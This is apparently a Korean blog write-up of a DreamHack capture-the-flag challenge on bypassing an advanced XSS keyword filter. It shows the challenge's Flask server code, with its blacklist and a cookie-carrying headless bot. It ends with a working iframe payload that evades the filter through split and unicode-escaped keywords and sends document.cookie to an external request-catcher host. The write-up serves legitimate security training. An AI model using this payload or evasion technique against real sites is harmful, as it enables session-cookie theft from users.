Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] AD(client): stage2_문제풀이(XSS Filtering Bypass Advanced) 본문

Hack/DreamHack(로드맵)

[Web_Hacking] AD(client): stage2_문제풀이(XSS Filtering Bypass Advanced)

CIDY 2022. 7. 31. 02:29
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

이전 문제는 필터링 키워드를 친절히 없애줬는데, 얘는 필터링 키워드가 들어있으면 filtered!!!를 반환한다.

 

script, on, javascript, window, self, this, document, location, (, ), &# -> 못 쓴다.

 

정규화 과정을 노려보자.

 

 

<iframe src="\1\4javascr\tipt:\u0064ocument.locati\u006f\u006e.href = 'http://otjilij.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/>

 

->변환

 

<iframe src="javascr ipt:\u0064ocument.locati\u006f\u006e.href = 'http://otjilij.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/> -> 성공

<iframe src="javascr ipt:\u0064ocument.locati\u006f\u006e.href = 'http://otjilij.request.dreamhack.games/' + \u0064ocument.cookie;"/>